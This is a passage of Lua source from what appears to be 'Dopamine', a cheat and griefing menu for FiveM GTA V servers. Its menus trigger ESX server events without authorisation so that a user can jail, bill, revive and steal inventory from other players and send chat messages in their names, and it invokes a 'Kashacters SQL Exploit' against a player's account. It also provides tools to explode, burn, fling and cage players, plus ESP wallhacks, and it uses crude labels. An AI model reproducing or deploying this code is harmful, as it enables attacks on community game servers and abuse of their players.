  2149. Dopamine.functions.changeAppearance('LEGS', 19, 1)
  2150. Dopamine.functions.changeAppearance('SHOES', 22, 1)
  2151. Dopamine.functions.changeAppearance('SPECIAL1', 18, 0)
  2152. Dopamine.functions.changeAppearance('SPECIAL2', 28, 8)
  2153. Dopamine.functions.changeAppearance('TORSO2', 19, 1)
  2154. elseif Dopamine.button('Thug', 'Native') then
  2155. Dopamine.functions.resetAppearance()
  2156. Dopamine.functions.changeAppearance('HATS', 46, 1)
  2157. Dopamine.functions.changeAppearance('GLASSES', 17, 6)
  2158. Dopamine.functions.changeAppearance('MASK', 51, 7)
  2159. Dopamine.functions.changeAppearance('TORSO', 22, 0)
  2160. Dopamine.functions.changeAppearance('LEGS', 7, 0)
  2161. Dopamine.functions.changeAppearance('HANDS', 44, 0)
  2162. Dopamine.functions.changeAppearance('SHOES', 12, 6)
  2163. Dopamine.functions.changeAppearance('SPECIAL2', 15, 0)
  2164. Dopamine.functions.changeAppearance('TORSO2', 14, 7)
  2165. elseif Dopamine.button('Santa Claus', 'Native') then
  2166. Dopamine.functions.resetAppearance()
  2167. Dopamine.functions.changeAppearance('MASK', 8, 0)
  2168. Dopamine.functions.changeAppearance('TORSO', 12, 0)
  2169. Dopamine.functions.changeAppearance('LEGS', 19, 0)
  2170. Dopamine.functions.changeAppearance('SHOES', 4, 4)
  2171. Dopamine.functions.changeAppearance('SPECIAL1', 10, 0)
  2172. Dopamine.functions.changeAppearance('SPECIAL2', 21, 2)
  2173. Dopamine.functions.changeAppearance('TORSO2', 19, 0)
  2174. elseif Dopamine.button('Penguin', 'Native') then
  2175. Dopamine.functions.resetAppearance()
  2176. Dopamine.functions.changeAppearance('TORSO', 0, 0)
  2177. Dopamine.functions.changeAppearance('MASK', 31, 0)
  2178. Dopamine.functions.changeAppearance('HATS', 0, 0)
  2179. Dopamine.functions.changeAppearance('HAIR', 0, 0)
  2180. Dopamine.functions.changeAppearance('GLASSES', 0, 0)
  2181. Dopamine.functions.changeAppearance('LEGS', 32, 0)
  2182. Dopamine.functions.changeAppearance('SHOES', 17, 0)
  2183. Dopamine.functions.changeAppearance('SPECIAL1', 0, 0)
  2184. Dopamine.functions.changeAppearance('SPECIAL2', 57, 0)
  2185. --[[Dopamine.functions.changeAppearance('SPECIAL3', 0, 0)]]
  2186. Dopamine.functions.changeAppearance('TEXTURES', 0, 0)
  2187. Dopamine.functions.changeAppearance('TORSO2', 51, 0)
  2188. Dopamine.functions.changeAppearance('HANDS', 0, 0)
  2189. elseif Dopamine.button('Soldier', 'Native') then
  2190. Dopamine.functions.resetAppearance()
  2191. Dopamine.functions.changeAppearance('TORSO', 96, 0)
  2192. Dopamine.functions.changeAppearance('HATS', 40, 0)
  2193. Dopamine.functions.changeAppearance('MASK', 54, 0)
  2194. Dopamine.functions.changeAppearance('GLASSES', 0, 1)
  2195. Dopamine.functions.changeAppearance('LEGS', 34, 0)
  2196. Dopamine.functions.changeAppearance('SHOES', 25, 0)
  2197. Dopamine.functions.changeAppearance('SPECIAL1', 0, 0)
  2198. Dopamine.functions.changeAppearance('SPECIAL2', 15, 0)
  2199. Dopamine.functions.changeAppearance('TORSO2', 53, 0)
  2200. Dopamine.functions.changeAppearance('HANDS', 51, 0)
  2201. elseif Dopamine.button('Soldier 2', 'Native') then
  2202. Dopamine.functions.resetAppearance()
  2203. Dopamine.functions.changeAppearance('HATS', 40, 0)
  2204. Dopamine.functions.changeAppearance('MASK', 28, 0)
  2205. Dopamine.functions.changeAppearance('TORSO', 44, 0)
  2206. Dopamine.functions.changeAppearance('LEGS', 34, 0)
  2207. Dopamine.functions.changeAppearance('HANDS', 45, 0)
  2208. Dopamine.functions.changeAppearance('SHOES', 25, 0)
  2209. Dopamine.functions.changeAppearance('SPECIAL2', 56, 1)
  2210. Dopamine.functions.changeAppearance('TORSO2', 53, 0)
  2211. end
  2212.  
  2213. Dopamine.runDrawMenu()
  2214. elseif Dopamine.isMenuOpened('onlinePlayersOptions') then
  2215. Dopamine.setSubTitle('onlinePlayersOptions', #Dopamine.natives.getActivePlayers()..' Player(s) Online')
  2216. if Dopamine.menuButton('All Players / World', 'allPlayersOptions') then
  2217. else
  2218. local playerlist = Dopamine.natives.getActivePlayers()
  2219. for i = 1, #playerlist do
  2220. local currentPlayer = playerlist[i]
  2221.  
  2222. if Dopamine.menuButton('~b~[C:'..currentPlayer..' | S:'..GetPlayerServerId(currentPlayer)..']~m~ '..GetPlayerName(currentPlayer)..Dopamine.trashFunctions.getPlayerStatus(GetPlayerPed(currentPlayer)), 'selectedPlayerOptions') then
  2223. selectedPlayer = currentPlayer
  2224. end
  2225. end
  2226. end
  2227.  
  2228. Dopamine.runDrawMenu()
  2229. elseif Dopamine.isMenuOpened('allPlayersOptions') then
  2230. if Dopamine.menuButton('Trigger Events', 'allPlayersOptionsTriggers') then
  2231. elseif Dopamine.button('Give Everyone Weapons', 'Native') then
  2232. Dopamine.functions.aPO.giveAllWeapons(false)
  2233. elseif Dopamine.button('Give Everyone Weapons As Pickups', 'Native') then
  2234. Dopamine.functions.aPO.giveAllWeapons(true)
  2235. elseif Dopamine.button('Rape Vehicles', 'Native') then
  2236. Dopamine.functions.aPO.rapeVehicles()
  2237. elseif Dopamine.button('Explode Vehicles', 'Native') then
  2238. Dopamine.functions.aPO.explodeCars()
  2239. elseif Dopamine.button('Clone Peds', 'Native') then
  2240. Dopamine.functions.aPO.clonePeds()
  2241. elseif Dopamine.button('Burn Effect', 'Native') then
  2242. Dopamine.functions.aPO.burnSFX()
  2243. elseif Dopamine.comboBox('Spawn Props', Dopamine.comboBoxes[4]._words, Dopamine.comboBoxes[4]._current, Dopamine.comboBoxes[4]._selected,
  2244. function(currentIndex, selectedIndex)
  2245. Dopamine.comboBoxes[4]._current = currentIndex
  2246. Dopamine.comboBoxes[4]._selected = currentIndex
  2247. end) then
  2248. if type(Dopamine.comboBoxes[4]._actual[Dopamine.comboBoxes[4]._selected]) == 'table' then
  2249. for key, value in pairs(Dopamine.comboBoxes[4]._actual[Dopamine.comboBoxes[4]._selected]) do
  2250. Dopamine.functions.aPO.spawnTrollProp(Dopamine.comboBoxes[4]._actual[Dopamine.comboBoxes[4]._selected][key])
  2251. end
  2252. else
  2253. Dopamine.functions.aPO.spawnTrollProp(Dopamine.comboBoxes[4]._actual[Dopamine.comboBoxes[4]._selected])
  2254. end
  2255. elseif Dopamine.comboBox('Prop Block', Dopamine.menuTables.trollsPropBlock.words, Dopamine.menuTables.trollsPropBlock.current, Dopamine.menuTables.trollsPropBlock.selected,
  2256. function(currentIndex, selectedIndex)
  2257. Dopamine.menuTables.trollsPropBlock.current = currentIndex
  2258. Dopamine.menuTables.trollsPropBlock.selected = currentIndex
  2259. end)
  2260. then
  2261. Dopamine.functions.aPO.propBlock(Dopamine.menuTables.trollsPropBlock.selected)
  2262. elseif Dopamine.checkBox('Flying Cars', Dopamine.storedControls.aPOFlyingCars) then
  2263. Dopamine.storedControls.aPOFlyingCars = not Dopamine.storedControls.aPOFlyingCars
  2264. elseif Dopamine.checkBox('Freeze', Dopamine.storedControls.aPOFreeze) then
  2265. Dopamine.storedControls.aPOFreeze = not Dopamine.storedControls.aPOFreeze
  2266. elseif Dopamine.checkBox('Disable Driving Vehicles', Dopamine.storedControls.aPODisableDrivingCars) then
  2267. Dopamine.storedControls.aPODisableDrivingCars = not Dopamine.storedControls.aPODisableDrivingCars
  2268. elseif Dopamine.checkBox('Noisy Vehicles', Dopamine.storedControls.aPONoisyVehs) then
  2269. Dopamine.storedControls.aPONoisyVehs = not Dopamine.storedControls.aPONoisyVehs
  2270. elseif Dopamine.button('Run Everything ~r~(!)', 'Native') then
  2271. pCreateThread(function()
  2272. Dopamine.functions.aPO.rapeVehicles()
  2273. pWait(500)
  2274. Dopamine.functions.aPO.explodeCars()
  2275. pWait(500)
  2276. Dopamine.functions.aPO.clonePeds()
  2277. pWait(500)
  2278. Dopamine.functions.aPO.burnSFX()
  2279. pWait(500)
  2280. Dopamine.functions.aPO.flyingCars()
  2281. for key, value in pairs(Dopamine.comboBoxes[4]._actual) do
  2282. if type(value) ~= 'table' then
  2283. Dopamine.functions.aPO.spawnTrollProp(v)
  2284. end
  2285. Wait(500)
  2286. end
  2287. end)
  2288. end
  2289.  
  2290. Dopamine.runDrawMenu()
  2291. elseif Dopamine.isMenuOpened('allPlayersOptionsTriggers') then
  2292. if Dopamine.button('Jail', 'ESX | Server') then
  2293. Dopamine.functions.aPO.jail()
  2294. elseif Dopamine.button('Un-Jail', 'ESX | Server') then
  2295. Dopamine.functions.aPO.unJail()
  2296. elseif Dopamine.button('Community Service', 'ESX | Server') then
  2297. Dopamine.functions.aPO.communityService()
  2298. elseif Dopamine.button('Spawn Owned Vehicles', 'ESX | Server') then
  2299. for yeet=0, #Dopamine.natives.getActivePlayers() do
  2300. Dopamine.functions.sPO.SpawnLegalVehicle('blista', yeet, Dopamine.trashFunctions.getRandomLetter(3) .. ' ' .. Dopamine.trashFunctions.getRandomNumber(4))
  2301. end
  2302. end
  2303.  
  2304. Dopamine.runDrawMenu()
  2305. elseif Dopamine.isMenuOpened('selectedPlayerOptions') then
  2306. Dopamine.setSubTitle('selectedPlayerOptions', '~b~['..GetPlayerServerId(selectedPlayer)..']~m~ '..GetPlayerName(selectedPlayer)..Dopamine.trashFunctions.getPlayerStatus(GetPlayerPed(currentPlayer)))
  2307. if Dopamine.menuButton('Weapon Options', 'selectedPlayerOptionsWeapon') then
  2308. elseif Dopamine.menuButton('Troll Options', 'selectedPlayerOptionsTroll') then
  2309. elseif Dopamine.menuButton('Trigger Options', 'selectedPlayerOptionsTriggers') then
  2310. elseif Dopamine.button('Spectate', Dopamine.storedControls.sPOIsSpectating and 'Spectating: ['..GetPlayerServerId(Dopamine.storedControls.spectatedPlayer)..']' or 'Spectating: [-1]') then
  2311. Dopamine.storedControls.spectatedPlayer = selectedPlayer
  2312. Dopamine.functions.sPO.spectatePlayer(Dopamine.storedControls.spectatedPlayer)
  2313. elseif Dopamine.button('Give Health', 'Native') then
  2314. Dopamine.natives.setEntityHealth(GetPlayerPed(selectedPlayer), 200)
  2315. CreatePickup(GetHashKey('PICKUP_HEALTH_STANDARD'), GetEntityCoords(GetPlayerPed(selectedPlayer)))
  2316. elseif Dopamine.button('Give Armour', 'Native') then
  2317. Dopamine.natives.setPedArmour(GetPlayerPed(selectedPlayer), 200)
  2318. CreatePickup(GetHashKey('PICKUP_ARMOUR_STANDARD'), GetEntityCoords(GetPlayerPed(selectedPlayer)))
  2319. elseif Dopamine.button('Teleport To', 'Native') then
  2320. Dopamine.functions.sPO.teleportToPlayer(selectedPlayer)
  2321. elseif Dopamine.button('Teleport Into Vehicle', 'Native') then
  2322. Dopamine.functions.sPO.teleportIntoVehicle(GetPlayerPed(selectedPlayer))
  2323. elseif Dopamine.button('Clone Vehicle', 'Native') then
  2324. Dopamine.functions.sPO.cloneVehicle(selectedPlayer)
  2325. elseif Dopamine.button('Clone Outfit', 'Native') then
  2326. Dopamine.functions.sPO.clonePedOutfit(Dopamine.datastore.pLocalPlayer.pedId, GetPlayerPed(selectedPlayer))
  2327. end
  2328.  
  2329. Dopamine.runDrawMenu()
  2330. elseif Dopamine.isMenuOpened('selectedPlayerOptionsWeapon') then
  2331. if Dopamine.checkBox('Spawn As Pickup', Dopamine.storedControls.weapSpawnAsPickup) then
  2332. Dopamine.storedControls.weapSpawnAsPickup = not Dopamine.storedControls.weapSpawnAsPickup
  2333. elseif Dopamine.button('Give All Weapons', 'Native') then
  2334. Dopamine.functions.sPO.giveAllWeapons(Dopamine.storedControls.weapSpawnAsPickup, GetPlayerPed(selectedPlayer))
  2335. elseif Dopamine.button('Remove All Weapons', 'Native') then
  2336. Dopamine.trashFunctions.reqControlOnce(GetPlayerPed(selectedPlayer))
  2337. RemoveAllPedWeapons(GetPlayerPed(selectedPlayer), true)
  2338. RemoveAllPedWeapons(GetPlayerPed(selectedPlayer), false)
  2339. elseif Dopamine.button('Give Ammo', 'Native') then
  2340. for i = 1, #Dopamine.trashTables.weaponsModels do
  2341. AddAmmoToPed(GetPlayerPed(selectedPlayer), GetHashKey(Dopamine.trashTables.weaponsModels[i]), 250)
  2342. end
  2343. end
  2344.  
  2345. for i = 1, #Dopamine.trashTables.weaponsModels do
  2346. if Dopamine.button(Dopamine.trashTables.weaponsModels[i]) then
  2347. if Dopamine.storedControls.weapSpawnAsPickup then
  2348. CreatePickup(GetHashKey('PICKUP_'..Dopamine.trashTables.weaponsModels[i]), GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId))
  2349. else
  2350. Dopamine.natives.giveWeaponToPed(GetPlayerPed(selectedPlayer), GetHashKey(Dopamine.trashTables.weaponsModels[i]), 250, false, true)
  2351. end
  2352. end
  2353. end
  2354.  
  2355. Dopamine.runDrawMenu()
  2356. elseif Dopamine.isMenuOpened('selectedPlayerOptionsTriggers') then
  2357. if Dopamine.button('Open Inventory', 'ESX | Client') then
  2358. Dopamine.dTCE(false, false, 'esx_inventoryhud:openPlayerInventory', GetPlayerServerId(selectedPlayer), GetPlayerName(selectedPlayer))
  2359. elseif Dopamine.button('Disc Search Inventory', 'ESX | Client') then
  2360. Dopamine.functions.sPO.SearchDisc(GetPlayerServerId(selectedPlayer))
  2361. elseif Dopamine.button('Disc Steal Inventory', 'ESX | Client') then
  2362. Dopamine.functions.sPO.StealDisc(GetPlayerServerId(selectedPlayer))
  2363. elseif Dopamine.button('Jail', 'ESX | Server') then
  2364. local time = Dopamine.trashFunctions.keyboardInput('Enter amount of time', '5391', 12)
  2365. if Dopamine.functions.game.isNullOrEmpty(time) then time = 5391 end
  2366. Dopamine.functions.sPO.jailTheFucker(GetPlayerServerId(selectedPlayer), time)
  2367. elseif Dopamine.button('Un-Jail', 'ESX | Server') then
  2368. Dopamine.functions.sPO.unJailTheFucker(GetPlayerServerId(selectedPlayer))
  2369. elseif Dopamine.button('Community Service', 'ESX | Server') then
  2370. Dopamine.functions.sPO.communityService(GetPlayerServerId(selectedPlayer))
  2371. elseif Dopamine.button('Send Bill', 'ESX | Server') then
  2372. local billAmount = Dopamine.trashFunctions.keyboardInput('Enter amount', '', 10)
  2373. local billName = Dopamine.trashFunctions.keyboardInput('Enter the name of the bill', '', 10)
  2374. if not Dopamine.functions.game.isNullOrEmpty(billAmount) and not Dopamine.functions.game.isNullOrEmpty(billName) then
  2375. if Dopamine.functions.doesResourceExist('esx_billing') then
  2376. Dopamine.dTCE(false, true, 'esx_billing:sendBill', GetPlayerServerId(selectedPlayer), 'd0pamine', billName, billAmount)
  2377. Dopamine.dTCE(false, true, 'esx_billing:sendBill', GetPlayerServerId(selectedPlayer), 'd0pamine', billName, billAmount)
  2378. else Dopamine.pushNotification('Resource was not found!', 5000) end
  2379. end
  2380. elseif Dopamine.button('Spawn Owned Vehicle', 'ESX | Server') then
  2381. local ModelName = Dopamine.trashFunctions.keyboardInput('Enter Vehicle Spawn Name', '', 20)
  2382. local PlateNumber = Dopamine.trashFunctions.keyboardInput('Enter Vehicle Plate Number', '', 8)
  2383. Dopamine.functions.sPO.SpawnLegalVehicle(ModelName, selectedPlayer, PlateNumber)
  2384. elseif Dopamine.button('Revive Player', 'ESX | Server') then
  2385. Dopamine.dTCE(false, true, 'esx_ambulancejob:revive', GetPlayerServerId(selectedPlayer))
  2386. Dopamine.dTCE(false, false, 'esx_ambulancejob:revive', GetPlayerServerId(selectedPlayer))
  2387. elseif Dopamine.button('Send Fake Message', 'Server') then
  2388. local message = Dopamine.trashFunctions.keyboardInput('Enter message to send', '', 100)
  2389. if not Dopamine.functions.game.isNullOrEmpty(message) then
  2390. Dopamine.dTCE(false, true, '_chat:messageEntered', GetPlayerName(selectedPlayer), {Dopamine.mainColor.r,Dopamine.mainColor.g,Dopamine.mainColor.b}, message)
  2391. end
  2392. elseif Dopamine.comboBox('Kashacters SQL Exploit', Dopamine.menuTables.serverKashactersSQL.words, Dopamine.menuTables.serverKashactersSQL.current, Dopamine.menuTables.serverKashactersSQL.selected,
  2393. function(currentIndex, selectedIndex)
  2394. Dopamine.menuTables.serverKashactersSQL.current = currentIndex
  2395. Dopamine.menuTables.serverKashactersSQL.selected = currentIndex
  2396. Dopamine.menuTables.serverKashactersSQL.actual = Dopamine.menuTables.serverKashactersSQL.lists[Dopamine.menuTables.serverKashactersSQL.selected]
  2397. end)
  2398. then
  2399. if Dopamine.datastore.ESX ~= nil then
  2400. Dopamine.datastore.ESX.TriggerServerCallback('esx_society:getOnlinePlayers', function(players)
  2401. local xPlayer = nil
  2402. for i = 1, #players do
  2403. if players[i].name == GetPlayerName(selectedPlayer) then xPlayer = players[i] end
  2404. end
  2405.  
  2406. if xPlayer then
  2407. dir_print(Dopamine.menuTables.serverKashactersSQL.actual)
  2408. Dopamine.functions.exploits.esx_kashacters(xPlayer.identifier, 'clean', Dopamine.menuTables.serverKashactersSQL.actual)
  2409. else
  2410. dir_print('issue getting xPlayer')
  2411. end
  2412. end)
  2413. else
  2414. dir_print('issue getting ESX')
  2415. end
  2416. end
  2417.  
  2418. Dopamine.runDrawMenu()
  2419. elseif Dopamine.isMenuOpened('selectedPlayerOptionsTroll') then
  2420. if Dopamine.button('Clear Animation/Tasks', 'Native') then
  2421. Dopamine.natives.clearPedTasksImmediately(GetPlayerPed(selectedPlayer))
  2422. elseif Dopamine.button('Burn Player ~w~', 'Native') then
  2423. local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(selectedPlayer)))
  2424. for i=0, 5 do
  2425. StartScriptFire(x, y, z - 0.99, 25, true)
  2426. end
  2427. elseif Dopamine.button('Rape Vehicle', 'Native') then
  2428. local lastVehicle = GetVehiclePedIsIn(GetPlayerPed(selectedPlayer), false)
  2429. Dopamine.natives.clearPedTasksImmediately(GetPlayerPed(selectedPlayer))
  2430. Dopamine.functions.sPO.rapeVehicle(lastVehicle)
  2431. elseif Dopamine.button('Spawn Weapon Pickups', 'Native') then
  2432. Dopamine.functions.sPO.giveAllWeapons(true, GetPlayerPed(selectedPlayer))
  2433. elseif Dopamine.button('Spawn Enemies', 'Native') then
  2434. Dopamine.functions.sPO.spawnEnemies(GetPlayerPed(selectedPlayer), 'a_m_y_skater_01')
  2435. elseif Dopamine.button('Spawn Heli Enemies', 'Native') then
  2436. Dopamine.functions.sPO.spawnHeliEnemies(GetPlayerPed(selectedPlayer))
  2437. elseif Dopamine.button('Spawn Tank Enemy', 'Native') then
  2438. Dopamine.functions.sPO.spawnTankEnemy(GetPlayerPed(selectedPlayer))
  2439. elseif Dopamine.button('Cage', 'Native') then
  2440. Dopamine.functions.sPO.cagePlayer(GetPlayerPed(selectedPlayer))
  2441. elseif Dopamine.button('Explode ~r~(!)', 'Native') then
  2442. local coords = GetEntityCoords(GetPlayerPed(selectedPlayer))
  2443. Dopamine.natives.addExplosion(coords.x+1, coords.y+1, coords.z+1, 4, 100.0, true, false, 0.0)
  2444. elseif Dopamine.comboBox('Shoot Player', {'Taze', 'Pistol', 'AK'}, Dopamine.storedControls.sPOShootAtOptionsCurrent, Dopamine.storedControls.sPOShootAtOptionsSelected,
  2445. function(currentIndex, selectedIndex)
  2446. Dopamine.storedControls.sPOShootAtOptionsCurrent = currentIndex
  2447. Dopamine.storedControls.sPOShootAtOptionsSelected = currentIndex
  2448. end) then
  2449. if Dopamine.storedControls.sPOShootAtOptionsSelected == 1 then
  2450. Dopamine.functions.sPO.shootAt(GetPlayerPed(selectedPlayer), 'WEAPON_STUNGUN')
  2451. elseif Dopamine.storedControls.sPOShootAtOptionsSelected == 2 then
  2452. Dopamine.functions.sPO.shootAt(GetPlayerPed(selectedPlayer), 'WEAPON_PISTOL')
  2453. elseif Dopamine.storedControls.sPOShootAtOptionsSelected == 3 then
  2454. Dopamine.functions.sPO.shootAt(GetPlayerPed(selectedPlayer), 'WEAPON_ASSAULTRIFLE')
  2455. end
  2456. elseif Dopamine.comboBox('Spawn Props', Dopamine.comboBoxes[4]._words, Dopamine.comboBoxes[4]._current, Dopamine.comboBoxes[4]._selected,
  2457. function(currentIndex, selectedIndex)
  2458. Dopamine.comboBoxes[4]._current = currentIndex
  2459. Dopamine.comboBoxes[4]._selected = currentIndex
  2460. end) then
  2461. if type(Dopamine.comboBoxes[4]._actual[Dopamine.comboBoxes[4]._selected]) == 'table' then
  2462. for key, value in pairs(Dopamine.comboBoxes[4]._actual[Dopamine.comboBoxes[4]._selected]) do
  2463. Dopamine.functions.sPO.spawnTrollProp(GetPlayerPed(selectedPlayer), Dopamine.comboBoxes[4]._actual[Dopamine.comboBoxes[4]._selected][key])
  2464. end
  2465. else
  2466. Dopamine.functions.sPO.spawnTrollProp(GetPlayerPed(selectedPlayer), Dopamine.comboBoxes[4]._actual[Dopamine.comboBoxes[4]._selected])
  2467. end
  2468. elseif Dopamine.comboBox('Ram Vehicle', sPORamVehicleWords, sPORamVehicleCurrent, sPORamVehicleSelected,
  2469. function(currentIndex, selectedIndex)
  2470. sPORamVehicleCurrent = currentIndex
  2471. sPORamVehicleSelected = currentIndex
  2472. sPORamVehicleX = sPORamVehicleWords[currentIndex]
  2473. end) then
  2474. Dopamine.functions.sPO.ramVehicle(GetPlayerPed(selectedPlayer), sPORamVehicleX)
  2475. elseif Dopamine.button('Fling Player ~r~(!)', Dopamine.storedControls.sPOFlingPlayer and 'Flinging: ['..GetPlayerServerId(Dopamine.storedControls.sPOFlingedPlayer)..']' or 'Flinging: [-1]') then
  2476. Dopamine.storedControls.sPOFlingPlayer = not Dopamine.storedControls.sPOFlingPlayer
  2477. Dopamine.storedControls.sPOFlingedPlayer = selectedPlayer
  2478. end
  2479.  
  2480. Dopamine.runDrawMenu()
  2481. elseif Dopamine.isMenuOpened('visualOptions') then
  2482. if Dopamine.menuButton('Extra Sensory Perception', 'visualOptionsESP', '', {dict = 'mphud', text = 'spectating', color = {r=255, g=255, b=255}}) then
  2483. elseif Dopamine.comboBox('Crosshair', customCrosshairOpts, currentCustomCrosshair, selectedCustomCrosshair,
  2484. function(currentIndex, selectedIndex)
  2485. currentCustomCrosshair = currentIndex
  2486. selectedCustomCrosshair = currentIndex
  2487. end)
  2488. then
  2489. elseif Dopamine.checkBox('Draw FPS', Dopamine.storedControls.visDrawFPS) then
  2490. Dopamine.storedControls.visDrawFPS = not Dopamine.storedControls.visDrawFPS
  2491. elseif Dopamine.checkBox('Show Coords', Dopamine.storedControls.teleShowCoords) then
  2492. Dopamine.storedControls.teleShowCoords = not Dopamine.storedControls.teleShowCoords
  2493. elseif Dopamine.checkBox('Force Player Blips', Dopamine.storedControls.visPlayerBlips) then
  2494. Dopamine.storedControls.visPlayerBlips = not Dopamine.storedControls.visPlayerBlips
  2495. elseif Dopamine.checkBox('Force Radar', Dopamine.storedControls.visForceRadar) then
  2496. Dopamine.storedControls.visForceRadar = not Dopamine.storedControls.visForceRadar
  2497. elseif Dopamine.checkBox('Force Gamertags', Dopamine.storedControls.visForceGamertags) then
  2498. Dopamine.storedControls.visForceGamertags = not Dopamine.storedControls.visForceGamertags
  2499. elseif Dopamine.checkBox('Force Third-person', Dopamine.storedControls.visForceThirdperson) then
  2500. Dopamine.storedControls.visForceThirdperson = not Dopamine.storedControls.visForceThirdperson
  2501. elseif Dopamine.checkBox('Blackout', Dopamine.storedControls.visBlackout) then
  2502. Dopamine.storedControls.visBlackout = not Dopamine.storedControls.visBlackout
  2503. elseif Dopamine.button('Optimize FPS', 'Native') then
  2504. Dopamine.functions.optimizeFPS()
  2505. end
  2506.  
  2507. Dopamine.runDrawMenu()
  2508. elseif Dopamine.isMenuOpened('visualOptionsESP') then
  2509. if Dopamine.checkBox('Enable', Dopamine.storedControls.visESPEnable) then
  2510. Dopamine.storedControls.visESPEnable = not Dopamine.storedControls.visESPEnable
  2511. Dopamine.functions.toggleESP()
  2512. elseif Dopamine.checkBox('ID', Dopamine.storedControls.visESPShowID) then
  2513. Dopamine.storedControls.visESPShowID = not Dopamine.storedControls.visESPShowID
  2514. elseif Dopamine.checkBox('Name', Dopamine.storedControls.visESPShowName) then
  2515. Dopamine.storedControls.visESPShowName = not Dopamine.storedControls.visESPShowName
  2516. elseif Dopamine.checkBox('Distance', Dopamine.storedControls.visESPShowDistance) then
  2517. Dopamine.storedControls.visESPShowDistance = not Dopamine.storedControls.visESPShowDistance
  2518. elseif Dopamine.checkBox('Weapon', Dopamine.storedControls.visESPShowWeapon) then
  2519. Dopamine.storedControls.visESPShowWeapon = not Dopamine.storedControls.visESPShowWeapon
  2520. elseif Dopamine.checkBox('Vehicle', Dopamine.storedControls.visESPShowVehicle) then
  2521. Dopamine.storedControls.visESPShowVehicle = not Dopamine.storedControls.visESPShowVehicle
  2522. elseif Dopamine.comboBoxSlider('ESP Refresh Rate', Dopamine.storedControls.visualsESPRefreshRates, Dopamine.storedControls.currentESPRefreshIndex, Dopamine.storedControls.selectedESPRefreshIndex,
  2523. function(currentIndex, selectedIndex)
  2524. Dopamine.storedControls.currentESPRefreshIndex = currentIndex
  2525. Dopamine.storedControls.selectedESPRefreshIndex = currentIndex
  2526. if currentIndex == 1 then
  2527. Dopamine.storedControls.visualsESPRefreshRate = 0
  2528. elseif currentIndex == 2 then
  2529. Dopamine.storedControls.visualsESPRefreshRate = 50
  2530. elseif currentIndex == 3 then
  2531. Dopamine.storedControls.visualsESPRefreshRate = 150
  2532. elseif currentIndex == 4 then
  2533. Dopamine.storedControls.visualsESPRefreshRate = 250
  2534. elseif currentIndex == 5 then
  2535. Dopamine.storedControls.visualsESPRefreshRate = 500
  2536. elseif currentIndex == 6 then
  2537. Dopamine.storedControls.visualsESPRefreshRate = 1000
  2538. elseif currentIndex == 7 then
  2539. Dopamine.storedControls.visualsESPRefreshRate = 2000
  2540. elseif currentIndex == 8 then
  2541. Dopamine.storedControls.visualsESPRefreshRate = 5000
  2542. end
  2543. end) then
  2544. elseif Dopamine.comboBoxSlider('ESP Distance', Dopamine.storedControls.visualsESPDistanceOps, Dopamine.storedControls.currentVisualsESPDistance, Dopamine.storedControls.selectedVisualsESPDistance,
  2545. function(currentIndex, selectedIndex)
  2546. Dopamine.storedControls.currentVisualsESPDistance = currentIndex
  2547. Dopamine.storedControls.selectedVisualsESPDistance = currentIndex
  2548. Dopamine.storedControls.visualsESPDistance = Dopamine.storedControls.visualsESPDistanceOps[Dopamine.storedControls.currentVisualsESPDistance]
  2549. end) then
  2550. end
  2551.  
  2552. Dopamine.runDrawMenu()
  2553. elseif Dopamine.isMenuOpened('teleportOptions') then
  2554. if Dopamine.comboBox('Teleport To', {'Legion Square', 'Weed Farm', 'Meth Farm', 'Coke Farm', 'Money Wash', 'Mission Row PD'}, Dopamine.storedControls.currentTeleportToOptions, Dopamine.storedControls.selectedTeleportToOptions,
  2555. function(currentIndex, selectedIndex)
  2556. Dopamine.storedControls.currentTeleportToOptions = currentIndex
  2557. Dopamine.storedControls.selectedTeleportToOptions = currentIndex
  2558. end)
  2559. then
  2560. if Dopamine.storedControls.selectedTeleportToOptions == 1 then
  2561. Dopamine.functions.teleportSelf(195.23, -934.04, 30.69)
  2562. elseif Dopamine.storedControls.selectedTeleportToOptions == 2 then
  2563. Dopamine.functions.teleportSelf(1066.009, -3183.386, -39.164)
  2564. elseif Dopamine.storedControls.selectedTeleportToOptions == 3 then
  2565. Dopamine.functions.teleportSelf(998.629, -3199.545, -36.394)
  2566. elseif Dopamine.storedControls.selectedTeleportToOptions == 4 then
  2567. Dopamine.functions.teleportSelf(1088.636, -3188.551, -38.993)
  2568. elseif Dopamine.storedControls.selectedTeleportToOptions == 5 then
  2569. Dopamine.functions.teleportSelf(1118.405, -3193.687, -40.394)
  2570. elseif Dopamine.storedControls.selectedTeleportToOptions == 6 then
  2571. Dopamine.functions.teleportSelf(441.56, -982.9, 30.69)
  2572. end
  2573. elseif Dopamine.button('Teleport To Waypoint', 'Native') then
  2574. Dopamine.functions.teleportToWaypoint()
  2575. end
  2576.  
  2577. Dopamine.runDrawMenu()
  2578. elseif Dopamine.isMenuOpened('vehicleOptions') then
  2579. if Dopamine.menuButton('Los Santos Customs', 'vehicleLosSantosCustoms') then
  2580. elseif Dopamine.menuButton('Saved Vehicles', 'savedVehiclesOptions') then
  2581. elseif Dopamine.menuButton('Vehicle Spawn List', 'vehicleSpawnList') then
  2582. elseif Dopamine.checkBox('Godmode', Dopamine.storedControls.vehGodmode) then
  2583. Dopamine.storedControls.vehGodmode = not Dopamine.storedControls.vehGodmode
  2584. Dopamine.functions.repairVehicle(Dopamine.datastore.pLocalPlayer.cVehicle)
  2585. elseif Dopamine.button('Repair Vehicle', 'Native') then
  2586. Dopamine.functions.repairVehicle(Dopamine.datastore.pLocalPlayer.cVehicle)
  2587. elseif Dopamine.button('Clean Vehicle', 'Native') then
  2588. SetVehicleDirtLevel(Dopamine.datastore.pLocalPlayer.cVehicle, 0.0)
  2589. elseif Dopamine.button('Dirty Vehicle', 'Native') then
  2590. SetVehicleDirtLevel(Dopamine.datastore.pLocalPlayer.cVehicle, 15.0)
  2591. elseif Dopamine.button('Flip Vehicle', 'Native') then
  2592. SetVehicleOnGroundProperly(Dopamine.datastore.pLocalPlayer.cVehicle)
  2593. elseif Dopamine.button('Delete Vehicle', 'Native') then
  2594. Dopamine.functions.deleteVehicle(Dopamine.datastore.pLocalPlayer.cVehicle)
  2595. elseif Dopamine.button('Delete Vehicles Within Radius', 'Native') then
  2596. Dopamine.functions.deleteVehicle(Dopamine.datastore.pLocalPlayer.cVehicle, 100)
  2597. elseif Dopamine.comboBoxSlider('Engine Power Boost', Dopamine.comboBoxes[3]._words, vehiclesEnginePowerBoostCurrent, vehiclesEnginePowerBoostSelected,
  2598. function(currentIndex, selectedIndex)
